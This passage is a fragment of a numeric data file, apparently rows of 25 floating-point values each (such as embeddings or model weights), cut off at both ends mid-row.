-0.09700312, 0.34094504, -0.32244548, -0.19479894, -0.0935501, -0.8013476, -0.4267176, -0.9866722, -0.5194248, 0.54986872, -0.67320624, -0.75071536, -0.20425984], [-0.28215936, 0.25843544, -0.22119552, 0.08166816, 0.32201696, 0.20007904, -0.1832016, -0.21954736, 0.2280988, 0.02622586, 0.31836412, -0.25346168, 0.26161276, 0.0408846, 0.19628404, 0.05582724, -0.2010396, 0.07672756, -0.2398, 0.2577854, -0.16011176, 0.037914608, -0.34815224, 0.12760096, -0.13807872], [-0.28174616, 0.19217512, 0.0643794, -0.30981112, 0.16988272, -0.013722116, -0.20973792, -0.1999698, -0.12284908, -0.09978116, -0.33015276, 0.32421068, -0.27389156, 0.037102376, -0.13891732, -0.301263, -0.348435, 0.240429, -0.06802004, -0.3857534, 0.034014224, 0.034634232, -0.2549132, 0.21320256, -0.25172808], [-0.28173668, 0.2304656, 0.22941912, 0.07373184, 0.13278888, 0.23160856, 0.035189164, 0.28245052, -0.24910196, 0.06679248, 0.20769344, -0.17072524, -0.27586644, 0.25706072, -0.13912244, -0.210179, -0.1159768, 0.3009672, -0.05606324, -0.05576308, -0.18054576, -0.35173688, 0.07000832, -0.36946448, 0.35962608], [-0.279113, -0.14703776, 0.4139684, 0.13537232, -0.1253156, 0.6453072, -0.695376, -0.8412924, -0.10484052, -0.469444, -0.5719232, 0.8697092, -0.37721116, -0.4623764, -0.613872, 0.4120566, -0.1469451, 0.2917676, 0.13571042, 0.9630362, -0.61, -0.67732984, 0.7564332, 0.37658072, -0.7979764], [-0.27848944, 0.8499168, 0.27274464, 0.76265912, -0.73301392, -0.023613364, -0.8520928, 0.4390712, 0.37126632, 0.7035604, -0.5959744, 0.03201156, -0.18813428, 0.613688, -0.5585604, -0.7735524, 0.4122672, -0.8254672, -0.09267522, 0.06283518, 0.2550838, -0.8597336, 0.43505904, 0.47938648, 0.61359408], [-0.27535944, 0.15779368, -0.38714528, -0.13443952, 0.38698472, 0.15861816, -0.26112112, 0.06898696, -0.14204492, 0.33770376, -0.19930764, 0.11363464, -0.24695776, 0.032474752, -0.07901836, 0.05578508, 0.10481778, 0.2357502, -0.02432754, 0.3310284, -0.17856288, -0.1875352, -0.14627016, -0.1462804, -0.25828192], [-0.27406196, 0.46258712, -0.09210704, -0.63396136, 0.50018, 0.7746532, 0.16772208, 0.5401748, 0.39814008, 0.5796392, 0.2989058, 0.5968884, -0.5165136, -0.7256252, 0.4469176, -0.18501742, 0.4612872, -0.5719264, 0.17888172, -0.9936454, 0.10967808, 0.57256808, 0.36058096, -0.95106, 0.43166728], [-0.26533552, -0.3894912, -0.46058224, -0.29216336, -0.63029488, 0.8315732, -0.4371068, -0.22831644, -0.6438928, -0.1412144, 0.9486976, 0.38810468, -0.37120968, -0.27441404, 0.5529036, 0.6598196, -0.4340458, 0.351006, 0.3145624, 0.691159, -0.9142104, -0.8379664, -0.659286, -0.27873216, -0.2514784], [-0.26219212, 0.16561696, 0.064668624, 0.067752384, -0.31856472, 0.06977832, 0.29983952, -0.11492008, 0.31991872, 0.25086228, 0.05737136, 0.39719876, -0.039342864, 0.29883936, 0.25975992, -0.10695618, 0.3575026, -0.21626, -0.2219078, 0.3925682, -0.31574768, -0.047379768, 0.27035032, -0.027594288, 0.14486216], [-0.2604808, 0.46405208, 0.08133864, -0.39169896, 0.9608224, -0.27490552, 0.3053426, -0.6035928, 0.9437304, 0.01411266, 0.7132236, 0.4848396, 0.028462248, -0.8525096, -0.4922412, 0.8739744, 0.468447, 0.9911136, 0.3557382, -0.9741876, -0.4850172, 0.60492744, 0.9151072, -0.8623888, 0.59513192], [-0.2594694, 0.21328512, -0.605048, -0.16075976, -0.011235432, 0.7107448, -0.6780192, -0.15438856, 0.8018596, 0.6259664, 0.7545748, -0.0625634, -0.55324, 0.7050936, -0.31074568, -0.4505738, -0.8616994, -0.3051022, -0.9757578, -0.7219212, -0.9346504, 0.64294376, -0.52351368, 0.45324624, 0.21346824], [-0.25680416, 0.03781828, -0.078263792, -0.1144172, 0.002069921, 0.17831828, 0.36339876, 0.35012684, -0.1109742, -0.20992876, -0.20391416, 0.02469754, -0.31086452, -0.15322756, 0.23094732, -0.07542172, -0.2114932, -0.2604162, 0.3778804, -0.1920179, -0.39801148, -0.22889192, -0.1918216, 0.37519672, 0.08955472], [-0.25518428, -0.08910696, 0.003409125, 0.26468752, -0.10386048, -0.23573644, 0.32104572, -0.3943672, 0.04703356, -0.18421296, 0.17975432, 0.23597812, -0.0619812, 0.09857272, 0.33668164, -0.05453592, 0.258018, 0.2120498, 0.36455, 0.07418152, -0.0768646, -0.008963272, 0.15566208, 0.16998512, -0.38728232], [-0.25280672, 0.8778, 0.1255872, 0.49034944, -0.76812624, -0.5066412, 0.36643964, 0.7329528, -0.4581888, 0.11122676, 0.35235824, -0.8840492, 0.8295404, -0.6919656, -0.5975204, 0.08676564, -0.5242096, 0.9543966, 0.3097602, 0.9138474, 0.5986504, -0.21663696, -0.37559968, 0.23757304, 0.13495672], [-0.2526702, 0.5931484, -0.56382208, 0.17629208, 0.9345344, -0.4295156, -0.8745592, 0.23916668, 0.6404376, 0.5805064, 0.5271684, -0.5001004, -0.7673608, -0.9378568, -0.8790064, 0.11143734, 0.506615, 0.2218242, -0.228746, -0.3763516, 0.9536508, -0.29606064, 0.38985568, 0.7876992, 0.33603984], [-0.25192636, -0.2700812, -0.46896232, 0.35927248, 0.067412576, 0.6910096, -0.4115368, 0.6118732, -0.7093824, -0.7524164, 0.610098, -0.33057484, -0.620014, -0.562984, -0.7666852, 0.7913108, -0.9018368, 0.7495496, 0.9081976, -0.7089638, -0.13297084, 0.51976392, -0.01709356, 0.8733712, 0.16538344], [-0.25099968, 0.27209952, 0.27703728, -0.069799344, -0.08061936, 0.05609776, 0.16186492, -0.31064904, 0.18034568, 0.19902304, 0.35106908, -0.250502, 0.32921724, 0.19809208, -0.21519132, 0.04436276, 0.3711098, 0.385298, 0.18814126, 0.2193188, 0.25079756, -0.2085736, -0.042519296, 0.28863328, -0.37613168], [-0.24894804, -0.118468, 0.15567824, -0.34921896, 0.1643308, 0.25279668, 0.36768552, 0.17995732, 0.19514192, 0.03340382, 0.27728024, -0.26404556, 0.30243076, 0.36415668, -0.33059112, -0.261658, 0.13476896, -0.1458396, 0.3006098, -0.07349296, 0.23063816, -0.32414064, -0.33177608, 0.34170984, 0.10984976], [-0.24235952, -0.047911192, -0.29612648, 0.09539608, -0.3210188, -0.033564568, 0.1469612, -0.25364824, -0.3383354, -0.33534992, 0.010740112, -0.14022636, -0.38826184, -0.3896424, 0.22318012, -0.2945268, -0.3782128, 0.2455198, -0.2596024, -0.17517956, 0.31365888, -0.36101528, 0.01162872, -0.11758056, 0.11978392], [-0.23595804, -0.25211704, 0.54658, 0.9869616, -0.8018592, 0.19400056, -0.8828312, 0.010056148, -0.32835972, -0.4572476, 0.11899768, 0.4364132, -0.4231976, -0.10730696, -0.33209088, 0.8719718, 0.5064194, 0.0348556, -0.001896938, 0.9355802, -0.7773556, -0.99124, 0.16369368, 0.65991232, -0.1219156], [-0.2334474, -0.26203376, -0.29205192, 0.058841184, 0.20281072, -0.21501228, 0.13409076, 0.037458412, -0.08148248, -0.20682132, 0.05490084, 0.15034096, -0.31787164, 0.38083076, -0.11994048, -0.03550646, 0.0180636, -0.2609968, 0.17473766, -0.16417622, 0.22882472, -0.12545776, 0.08491024, 0.22753304, 0.08118968], [-0.22357404, 0.32270376, -0.17735776, 0.34149328, -0.11474176, 0.35778056, -0.27481868, -0.06356092, -0.1387334, -0.0735644, 0.38984328, 0.22947116, 0.036069744, -0.25508412, 0.2591058, 0.3016906, 0.14620388, -0.3029966, 0.18002058, -0.2517896, 0.31758696, 0.3600676, 0.25893056, -0.22615544, -0.26911792], [-0.22051052, 0.2237, 0.39948928, 0.24310648, 0.34475192, 0.1832466, -0.27775136, 0.14920756, -0.10894592, 0.24130936, 0.0383559, -0.04502768, -0.0728604, -0.19779416, -0.10985424, 0.3608262, -0.378915, 0.3765968, -0.2272374, -0.04992454, -0.22024496, -0.24331544, 0.0646542, 0.09637448, 0.009961056], [-0.21819732, 0.06299044, 0.055574872, 0.36532424, 0.33907048, -0.09093492, 0.14826988, -0.09592316, 0.34706228, -0.017440312, 0.38386896, 0.09271704, -0.022655948, -0.28305208, -0.36542292, 0.395898, -0.008507956, -0.1755958, 0.3795082, -0.3514816, 0.2699102, 0.19647632, 0.33178448, 0.23885304, -0.30221048], [-0.21425216, 0.67233504, -0.6890884, -0.22497624, 0.49642728, 0.6448784, -0.013968588, 0.03644748, -0.7973828, -0.30456184, -0.1444554, -0.9797084, 0.8551064, 0.034934772, 0.4497644, -0.4829022, 0.9199126, 0.5030532, -0.0958859, -0.612967, -0.2432474, 0.62680456, 0.19329824, -0.64395512, 0.9135808], [-0.21175072, -0.33273008, 0.35385736, 0.24759576, 0.039328336, 0.2566058, -0.09381152, -0.010194256, 0.09803428, 0.05725724, 0.36242564, 0.019898392, -0.26305916, 0.11926828, 0.031014944, 0.3503532, -0.2937908, 0.07088804, 0.2135136, -0.10287602, 0.35494508, -0.08157328, 0.021534, 0.16542736, -0.24586208], [-0.21105804, 0.32889512, -0.813532, 0.76670872, -0.58618584, 0.25941744, -0.813358, -0.21738608, 0.11321336, 0.8965576, 0.5969132, -0.037354752, 0.6612804, 0.22877852, 0.8943908, 0.9323772, 0.7165624, -0.1137314, -0.8753668, -0.6499706, 0.04036876, -0.1178128, 0.06929364, -0.77619864, 0.76883144], [-0.20927212, 0.14903712, 0.72990176, -0.4392632, 0.8413456, -0.5760944, -0.0974366, -0.06002384, -0.6353236, 0.7907648, -0.5303632, -0.7311232, -0.9253288, -0.9914704, -0.556602, -0.9794218, -0.6675224, 0.6421502, -0.3383582, 0.13468964, 0.4517584, -0.12705528, 0.22918168, 0.9982624, 0.4403472], [-0.2077442, -0.14306776, 0.39756384, 0.19246984, 0.03646024, 0.27618704, -0.11032728, -0.08558564, -0.17488028, -0.016821564, 0.25835992, 0.2955842, 0.291269, -0.16533748, 0.17991924, -0.2584512, 0.04684112, -0.3239962, 0.2941016, -0.05448168, -0.18564076, 0.22069952, 0.2446844, 0.3191664, -0.21478352], [-0.20582796, 0.012647816, -0.29253168, 0.14476192, -0.24797736, 0.35497404, -0.12488132, 0.22276272, -0.022871644, 0.11073788, 0.05440136, 0.12874752, -0.36323836, 0.2484956, -0.257357, 0.013793294, -0.06052102, 0.1162212, -0.2507938, -0.18445126, -0.1231522, 0.39520528, 0.2883776, 0.054874456, 0.22242808], [-0.19779188, 0.063648088, 0.079657784, -0.37338832, -0.2501808, -0.1917088, -0.22237944, -0.0799534, -0.09474112, -0.000156892, 0.34235628, -0.2073262, 0.31954016, -0.20644232, 0.24033684, 0.16959726, 0.265596, 0.3117084, 0.09907714, -0.07175826, 0.28454944, 0.27416448, -0.38468112, -0.044886904, 0.16300512], [-0.197138, -0.14745096, 0.047821496, -0.3350744, -0.26047696, -0.09523324, 0.2126592, -0.16857604, -0.24998648, -0.35065972, -0.2833648, -0.32232596, -0.015793332, 0.24830348, 0.31917572, -0.07015622, -0.348917, 0.3711754, -0.320247, 0.13984298, -0.38560256, 0.0886528, 0.077010176, 0.30505312, 0.031479], [-0.19590596, 0.044644768, 0.37790968, -0.07727236, -0.63586144, 0.2916898, -0.1238312, 0.5044176, -0.11247308, 0.7107328, -0.4685632, -0.4956428, -0.34905232, -0.9678608, 0.22582976, 0.901231, 0.6049634, -0.3104894, 0.09230736, -0.5701436, -0.3629234, -0.08586408, -0.155568, 0.61851688, 0.42816264], [-0.19510552, 0.847736, -0.36045656, 0.08917968, -0.31270552, -0.26553724, 0.900138, -0.4289452, -0.10321348, 0.4976928, 0.34966088, -0.10193192, 0.16489688, 0.18402468, -0.09974312, -0.237931, 0.3446864, 0.9010856, 0.9731562, 0.7241702, 0.07842576, 0.18550648, -0.9002904, 0.18318376, 0.10365248], [-0.19190484, -0.43414208, -0.9474808, -0.27610232, 0.182166, -0.21494952, 0.9883596, -0.6183756, 0.7490808, -0.08555984, -0.22020464, -0.311175, 0.6334936, 0.7686896, 0.4088048, 0.6933402, 0.2995482, 0.8755132, 0.5786826, -0.474664, 0.10271568, 0.43377496, -0.33445736, 0.48139296, -0.27230224], [-0.19042508, 0.071518048, 0.35264272, -0.023326952, -0.21636088, -0.1612846, 0.19391084, 0.09794932, 0.2494904, -0.028920236, 0.32470868, 0.07795396, -0.27613008, 0.262213, 0.004587656, 0.18529622, -0.11598758, -0.308906, 0.2149862, -0.16319228, -0.09473592, -0.2025324, 0.052545792, -0.14957032, -0.31617416], [-0.1855474, -0.027877392, -0.24304976, 0.2277004, -0.08302672, -0.1662748, -0.05967976, 0.399981, -0.05618392, -0.22001148, -0.2245554, 0.21745872, -0.37235188, 0.30744156, -0.33008172, -0.3184568, 0.2370038, 0.09252484, -0.2274544, 0.2669948, -0.05176576, 0.2369552, -0.075484184, -0.027813424, 0.005025806], [-0.18498264, -0.5636804, 0.8590408, -0.1748472, -0.024725008, -0.3380038, 0.5507956, -0.7652216, -0.7163812, 0.8891216, 0.9581756, 0.34543616, 0.08828384, -0.706762, -0.5525204, -0.16731448, -0.3194222, 0.05239972, -0.13401308, -0.5771138, 0.8900104, -0.1907984, -0.35859088, -0.39185112, -0.76648776], [-0.18278928, 0.1615516, 0.24266952, 0.031890432, 0.938656, -0.8495608, -0.874324, -0.4734312, 0.13124936, -0.5151048, 0.8904684, 0.36551824, 0.8319548, -0.7724156, 0.4253012, -0.105071, -0.13857178, 0.6553432, 0.5295278, 0.9364974, 0.6763524, 0.005677741, 0.49271496, -0.722284, 0.08730496], [-0.18257712, -0.777518, 0.2790404, -0.65850936, 0.58175208, 0.134356, -0.4884548, 0.8223328, 0.37212848, 0.6061492, -0.838186, -0.37094328, 0.8370408, 0.4254196, -0.477352, -0.2628664, 0.3891382, 0.3612978, -0.0571844, -0.7271772, 0.36848448, 0.9874664, -0.041850584, -0.8607088, 0.4272776], [-0.18151856, 0.18594064, 0.043008024, 0.09607552, -0.018982208, -0.29964184, 0.09472984, 0.13793404, 0.39279016, 0.237258, 0.33949596, 0.08195412, -0.19753008, -0.07363124, -0.0780556, 0.015163218, -0.2951864, 0.1962602, -0.386502, 0.15434264, 0.07795344, -0.066479912, -0.14287752, 0.071546992, -0.13742072], [-0.17770412, -0.3410336, -0.1683284, 0.26184232, -0.3722996, 0.34225276, -0.28790876, -0.07575616, 0.35323216, 0.2867354, 0.2432548, -0.10587252, 0.20712992, 0.032782836, 0.36291008, -0.08311596, 0.3797514, 0.229108, -0.18744948, 0.15048942, -0.14944464, -0.29648336, 0.17993576, -0.3904652, 0.18423752], [-0.17662708, 0.921592, 0.871916, -0.9638704, -0.8960512, -0.18052364, 0.62334, 0.402372, 0.467572, -0.39699224, -0.5879188, -0.4297028, -0.1817268, 0.38126608, -0.8889796, 0.04895222, -0.5256624, 0.9507672, 0.5736844, 0.16075236, -0.33246516, -0.30054744, -0.68498408, 0.11865968, 0.14444576], [-0.17280416, -0.10139824, -0.52166064, -0.26914736, -0.7380136, 0.8036992, 0.6911284, 0.1247294, 0.504974, 0.42787, -0.6305884, -0.7570328, -0.19079396, 0.5762824, 0.13451788, -0.9160678, 0.4692508, -0.8407786, 0.8452296, 0.9943664, -0.01376418, -0.71175632, 0.013806152, -0.09710728, 0.58461592], [-0.17127984, -0.24354192, -0.12239, 0.57407352, 0.28454608, -0.509, 0.5503308, -0.31758708, 0.759114, 0.36622368, 0.14494064, -0.4942808, 0.8095, -0.4520592, -0.35721132, -0.2519228, 0.2632022, -0.3729846, 0.9562244, 0.312177, 0.4353748, 0.05711368, 0.5597436, -0.19965312, 0.21305352], [-0.16979688, -0.60459888, 0.59819528, -0.013373624, -0.18537768, 0.7712072, -0.020541424, -0.6625916, -0.08019268, 0.05857168, 0.002858394, -0.6406328, 0.9625144, -0.769644, -0.5311476, 0.4741158, 0.246197, -0.5761992, 0.8951748, 0.3105202, 0.09744452, 0.9921376, 0.32425824, -0.27089136, 0.024537176], [-0.16516968, 0.078444096, -0.28368376, 0.0986664, 0.30392768, 0.09858376, 0.28681992, 0.18749172, -0.21427664, -0.11878168, -0.27900712, 0.05760624, -0.28286888, -0.15900032, 0.34859752, 0.3404796, -0.16871702, -0.02522066, -0.08513078, 0.0624079, 0.39529816, 0.03886948, -0.1801064, 0.16731312, -0.31924544], [-0.16476172, -0.70908112, -0.010748936, -0.9607672, -0.43567904, -0.06655308, 0.26624104, -0.996718, -0.019227632, 0.19655, 0.849794, 0.8575284, -0.282163, 0.6348948, 0.6468684, -0.2089488, 0.4406372, 0.6499286, 0.10742072, 0.329466, 0.33289208, -0.006944509, 0.11810152, -0.77697208, 0.56725072], [-0.16404436, -0.65160496, 0.7726724, 0.28105592, 0.08175136, 0.4041348, -0.0393407, 0.27447884, -0.771178, -0.4397328, 0.39638816, 0.4327116, 0.9277952, -0.9566496, 0.7881436, -0.012791568, -0.6591264, 0.9727056, 0.564735, 0.933426, 0.9448696, -0.1324212, -0.010410536, -0.4280284, 0.9481992], [-0.1607252, 0.79485168, -0.9743224, -0.9175256, 0.61506816, -0.5281748, 0.38003192, 0.7115584, -0.5696816, 0.27664376, 0.38264572, 0.32346744, -0.0594904, 0.18456612, -0.5601236, 0.1087101, -0.4606546, -0.2966168, 0.1406998, -0.817831, -0.7014708, 0.33034544, -0.79887464, -0.1904008, 0.26711256], [-0.1606296, 0.8481792, 0.9646248, -0.2998952, -0.73228872, -0.5750988, -0.923266, 0.3730948, 0.35554276, 0.445978, 0.4015452, 0.39922016, -0.8822992, 0.5300876, 0.447116, 0.3228266, -0.8892828, 0.18374878, 0.392798, 0.8580786, 0.2910658, -0.4353264, 0.37960872, -0.63814688, 0.9284864], [-0.1587748, 0.058521136, -0.34036808, -0.069091808, 0.17435168, 0.36859908, -0.27348588, 0.32587572, -0.11012056, 0.10324264, -0.2279602, 0.37471284, 0.10726108, -0.10287632, 0.30197556, -0.14493276, -0.2216144, -0.15939522, -0.374316, -0.06290284, 0.29158032, 0.3279892, 0.28549608, 0.0882668, -0.15044784], [-0.15606528, 0.08817408, 0.28997104, -0.14538424, -0.1811696, 0.25485084, -0.00945642, 0.32091864, -0.2195484, -0.20160476, -0.38231016, -0.1073664, 0.36392828, 0.38217952, 0.18554176, 0.1455157, -0.2639836, -0.2139488, 0.2598814, -0.3378286, 0.30239604, 0.066478896, -0.24267632, 0.2375244, 0.2176992], [-0.15247372, -0.51380232, -0.050391032, 0.8555848, -0.77216152, -0.14389752, 0.28333604, -0.8897036, -0.9524716, -0.509582, -0.5887448, -0.6582524, -0.846642, 0.9716044, 0.7800872, 0.19135658, 0.9349418, -0.16086268, 0.13306372, 0.2825182, -0.5557072, 0.9491552, -0.40387448, -0.71841344, -0.7188992], [-0.14898176, 0.18604328, -0.73383536, 0.19561912, -0.4726484, -0.7512828, -0.6201492, 0.010500052, -0.5062128, 0.9426484, 0.19387116, -0.9626012, 0.6373396, -0.9325208, 0.9146184, 0.4267506, 0.952864, -0.10744966, -0.10552092, 0.9701236, 0.1771486, 0.7445764, 0.16323096, 0.9979848, -0.27988088], [-0.14737512, -0.38601136, -0.70646032, -0.24371856, 0.12476488, 0.6579816, 0.4536072, -0.3304664, -0.7621744, -0.8605072, -0.559568, 0.27500716, 0.9751348, -0.5935036, -0.38738008, 0.6697708, -0.579419, 0.03931198, -0.8197462, -0.8884698, -0.21094128, 0.13978824, 0.64959376, 0.33528112, -0.35851136], [-0.1420064, 0.9681936, 0.72412648, -0.078677512, 0.08188736, 0.64102, 0.8790216, -0.3591, 0.78943, -0.898798, 0.8420064, 0.9112304, 0.406568, 0.8362236, -0.424212, -0.6727612, 0.9916722, 0.15763254, 0.662857, 0.3998922, -0.7213232, 0.47409208, -0.8737304, -0.552264, -0.47873328], [-0.14017332, 0.12375312, 0.11973232, -0.78611416, 0.28349576, -0.5584224, -0.182889, 0.4783308, 0.039366068, -0.13090796, 0.4475696, 0.026125024, -0.2253456, 0.6180264, -0.8996676, 0.8525974, -0.6252968, -0.5253268, 0.17221052, -0.268524, 0.5818336, -0.61525336, -0.63134336, 0.686856, -0.9115688], [-0.13522052, 0.9643536, 0.44328136, -0.34179624, 0.32591008, -0.7695904, 0.4511548, 0.36637168, -0.18987504, 0.984972, 0.20248536, 0.37658768, 0.30831388, -0.19540948, -0.6826908, -0.0920412, -0.6159172, -0.9457418, 0.3633194, 0.2160968, -0.482416, 0.9330112, -0.9078224, -0.40711024, -0.3606968], [-0.127437, -0.57415376, 0.9767592, -0.804336, -0.24233632, -0.07917088, 0.4797612, 0.9216196, 0.5869964, 0.03486994, 0.7772784, 0.12858192, 0.006966448, 0.10600624, -0.47197, -0.487721, 0.08961994, 0.550669, 0.3898868, -0.338278, 0.51454, -0.3690876, -0.6146744, -0.8097536, -0.43510664], [-0.12092752, 0.849032, -0.71327304, 0.21881424, 0.786596, 0.5459996, -0.5263344, 0.8521228, 0.1950598, 0.5923116, -0.06823048, 0.34014808, 0.899722, -0.15357824, 0.526542, -0.7742942, 0.5148906, -0.4077256, 0.02174822, -0.427311, -0.7469684, -0.31436776, -0.8178264, 0.20243256, 0.1671756], [-0.11905584, 0.62873424, -0.45503856, 0.51874888, -0.9641856, -0.23757372, -0.1735424, -0.7364484, -0.030709176, 0.09280972, 0.5227144, 0.9301132, -0.22145836, -0.9639048, 0.26430016, -0.857616, -0.3781702, -0.7415594, 0.18009006, -0.358467, -0.6391712, -0.067427952, -0.1309284, -0.67213016, -0.847304], [-0.11897876, 0.37027696, 0.2121824, 0.13370432, 0.040510056, -0.20166932, -0.1668012, -0.141867, 0.31083972, -0.36991876, 0.24483108, -0.25472248, -0.036687008, 0.39038624, -0.30571648, 0.09831856, -0.2291496, -0.01238669, 0.2555744, -0.02933696, -0.09987644, -0.14290736, -0.2636828, -0.16796352, 0.016880128], [-0.11753896, 0.787064, -0.58035792, 0.79643712, 0.55709176, -0.00797822, -0.208746, -0.5859008, 0.11885156, -0.8646992, 0.23008024, 0.23209648, -0.0195918, 0.422116, 0.442716, 0.9145098, -0.10932638, 0.8936812, -0.5838692, 0.8180066, 0.4799904, 0.3634796, -0.57510344, -0.78429616, 0.026000824], [-0.11689668, 0.2509276, -0.070568456, 0.28179856, -0.13930272, -0.13623436, 0.06503224, 0.39507756, 0.04359412, 0.36177588, 0.22389024, -0.12766752, 0.33411484, -0.32462604, 0.26022292, -0.2167004, -0.12321194, 0.05623128, 0.3815226, -0.2209814, -0.36448592, 0.0996512, 0.1401364, 0.11797488, 0.2134868], [-0.11315964, 0.2217128, 0.44002208, -0.27810984, -0.18846856, -0.9650164, -0.3065392, 0.7980028, 0.30532608, -0.36317316, 0.02757042, -0.5143504, -0.9149048, 0.911546, -0.8251484, -0.8662198, 0.9380926, -0.8946144, 0.9407574, 0.8643004, -0.8673316, 0.08487032, -0.58929376, -0.23610704, -0.710782], [-0.10360468, -0.1500644, -0.16237744, 0.11728384, -0.26633976, 0.12582708, -0.24835208, -0.28686816, -0.2899088, 0.1499032, 0.28353872, 0.069895, -0.20678688, -0.035094172, -0.20519356, 0.18094906, -0.376079, 0.0412794, 0.1262153, -0.17687664, 0.09601908, -0.38371952, -0.23949552, 0.12530088, 0.074061536], [-0.09487368, 0.9646872, -0.42990584, -0.43605136, -0.13088776, 0.6158332, -0.20785956, 0.6103576, 0.8001784, -0.567154, -0.29055256, -0.4454116, -0.659124, -0.5477528, 0.9628276, -0.8858116, -0.6947688, 0.25759, 0.268571, -0.916536, -0.6958964, 0.8749104, -0.57924096, 0.9650072, -0.53038552], [-0.09250868, 0.2650692, -0.050881608, -0.012415536, -0.25994672, 0.34887412, -0.14434044, 0.2555818, -0.2825324, 0.30560492, -0.16960756, 0.27698336, 0.23332744, -0.237866, -0.33728324, -0.18776466, 0.09984382, 0.3202236, 0.17778248, -0.3030076, 0.37665716, -0.37628088, 0.38629976, 0.022791672, 0.3404556], [-0.09059148, -0.43100712, -0.29204464, 0.60959416, 0.59624736, 0.6540712, -0.33332876, -0.7348284, -0.426882, 0.26295224, 0.9510956, 0.2552846, 0.669472, 0.016605164, -0.6056312, -0.9812836, 0.5230824, -0.13070554, -0.9466232, -0.9077742, 0.6567364, 0.061882088, -0.9178808, 0.70048888, 0.579478], [-0.08789604, 0.70150432, 0.9851704, 0.33797104, -0.077144496, 0.889118, 0.05661224, 0.14619312, -0.870594, 0.8958688, -0.7730924, -0.7447828, -0.7757072, 0.28995712, 0.2928882, -0.455651, -0.6593138, -0.415461, -0.3104562, 0.6760774, 0.6365992, 0.63291416, -0.16049304, 0.8234384, -0.056915184], [-0.08569752, -0.2632916, -0.8722128, 0.60960912, -0.28865144, -0.704086, 0.8299756, 0.5492568, 0.659226, 0.26679768, -0.33379448, 0.38680044, -0.37390468, 0.18493864, 0.09998692, 0.455108, -0.02465644, -0.6326296, -0.5993638, 0.11933472, 0.7947204, 0.829568, -0.21211016, -0.47487504, -0.328412], [-0.08554544, -0.9427696, 0.66853832, 0.838028, -0.43098192, -0.36921072, -0.4960256, -0.018608968, 0.30763908, -0.5504848, 0.7376096, -0.598866, -0.993428, 0.8153388, -0.15210504, -0.2080624, -0.8600686, 0.5636722, -0.7331118, -0.367267, 0.5796496, 0.56681928, -0.102094, 0.9438632, -0.44841904], [-0.08497392, -0.39920568, -0.034090384, -0.30390288, 0.23221728, 0.1115104, -0.13808304, 0.33245248, -0.06707216, 0.0528438, 0.10725144, -0.22535376, -0.0468342, -0.16377364, 0.13310292, -0.01184271, 0.3119688, -0.08620102, 0.2345442, 0.10421108, -0.20186, 0.29538768, -0.11118328, 0.37585712, 0.13173184], [-0.0787502, -0.31680968, 0.68653568, 0.6746732, 0.51605792, 0.6176272, 0.6513772, -0.415108, 0.02800788, 0.7468044, 0.9895236, 0.09951264, -0.15392684, 0.028152064, -0.8731604, -0.012661944, -0.250177, -0.3643994, -0.6724736, -0.2805494, -0.5347556, 0.983472, 0.52721888, 0.58705304, -0.8634968], [-0.07742116, -0.000108005, 0.20264232, 0.17366432, 0.8353712, -0.4412904, 0.2106774, 0.23617344, -0.67699, 0.5778964, -0.7698268, 0.4414552, 0.4117324, 0.17868904, 0.9910016, -0.9720596, 0.246764, 0.09405492, -0.08382832, 0.7852174, 0.86644, -0.9341288, 0.12138912, -0.22544, 0.54770544], [-0.07360212, -0.49892688, 0.97468, 0.39668152, 0.6381656, -0.6474916, -0.4399636, -0.21081496, 0.28045224, -0.6849712, -0.7714788, 0.1205222, 0.3580966, 0.36200172, 0.4309788, 0.498431, -0.519131, 0.9146338, 0.2257974, 0.05190116, 0.5253872, 0.9423344, -0.43495504, -0.69165456, -0.1451484], [-0.06981348, -0.25626736, -0.42756976, -0.36582264, -0.78795448, -0.468528, 0.31934812, 0.34000564, 0.3014682, -0.09589952, 0.33203648, 0.7641284, 0.25122928, -0.5778432, 0.934668, -0.4296504, -0.4117422, 0.2777354, 0.3872164, 0.5554818, 0.5637972, -0.8085864, 0.59577624, -0.23996984, -0.87364], [-0.06350868, 0.62819936, 0.31731384, 0.66402208, -0.2761208, 0.4852568, -0.8157488, -0.9959104, -0.4347708, -0.6706452, -0.9836724, -0.23276736, -0.36364408, -0.6377988, -0.17626576, 0.9166644, -0.3831048, -0.05140458, -0.9541068, -0.2694826, 0.644376, 0.27623024, 0.3670288, 0.8240032, -0.52991352], [-0.0579382, -0.23100704, 0.57604504, 0.944576, -0.13046792, -0.30876544, -0.7631044, 0.13876776, -0.3439668, -0.38410636, -0.0573358, -0.9974492, -0.27922644, -0.8842964, -0.8288524, -0.5814332, -0.9520884, -0.02009012, 0.2414934, 0.18434352, -0.24406888, -0.2582624, -0.49882096, -0.24926288, -0.34190952], [-0.05148044, 0.19589776, -0.016948104, -0.27660712, -0.37984008, -0.10138396, -0.17906668, -0.23547844, -0.032458008, -0.38513244, 0.0535942, 0.16260744, -0.21262248, -0.23630784, -0.04814532, -0.009061214, 0.10973986, -0.09260414, 0.09156328, -0.3800572, 0.26972204, 0.33671072, 0.19646712, -0.010845424, 0.09999184], [-0.05003136, -0.02029056, -0.28732832, -0.072503128, 0.3944608, 0.09774516, 0.37182012, -0.25886572, 0.05178164, 0.39092332, -0.227605, -0.11996508, -0.07559936, 0.37708864, 0.15262824, -0.1825259, 0.3362374, 0.19024668, 0.11620132, -0.05010692, -0.281166, -0.021220128, -0.206292, -0.029076376, -0.0910056], [-0.04624124, 0.641152, 0.17820472, 0.8963152, -0.60075432, 0.27486972, -0.17783524, 0.979542, -0.8427604, -0.9702744, -0.18544088, 0.7612084, -0.7568192, 0.39084912, 0.4868228, -0.02373282, -0.8641148, 0.015216606, -0.317805, -0.9796482, 0.5721952, -0.11780464, -0.8370952, 0.5817472, -0.5866392], [-0.039158676, -0.37336016, -0.28370584, -0.20612968, -0.227544, -0.12271924, -0.16696792, 0.2579468, -0.07082984, -0.001932322, -0.24098524, -0.18500288, 0.28774408, -0.085344, -0.10250196, -0.3729924, 0.3919166, 0.2634008, -0.2212832, 0.2672122, -0.05922616, 0.2314956, -0.349806, -0.009518064, 0.27573056], [-0.033041744, -0.65541656, 0.30717864, 0.74276376, 0.1345588, -0.7978448, -0.6317012, -0.5584964, 0.7527012, -0.765708, -0.5972268, 0.5420876, 0.31413308, -0.24811804, -0.05871244, 0.291622, 0.2657408, 0.837245, -0.448887, -0.3405756, 0.8224152, -0.3058936, -0.50541496, -0.79317472, -0.72795128], [-0.03231222, 0.95036, 0.8028296, 0.37781592, -0.42827184, -0.037972852, 0.27646976, 0.142319, 0.18920224, -0.22135928, -0.34963616, 0.5830988, 0.9781332, 0.21854092, 0.8408052, -0.761179, -0.6415114, -0.5618, 0.5898468, -0.5027876, -0.8731268, 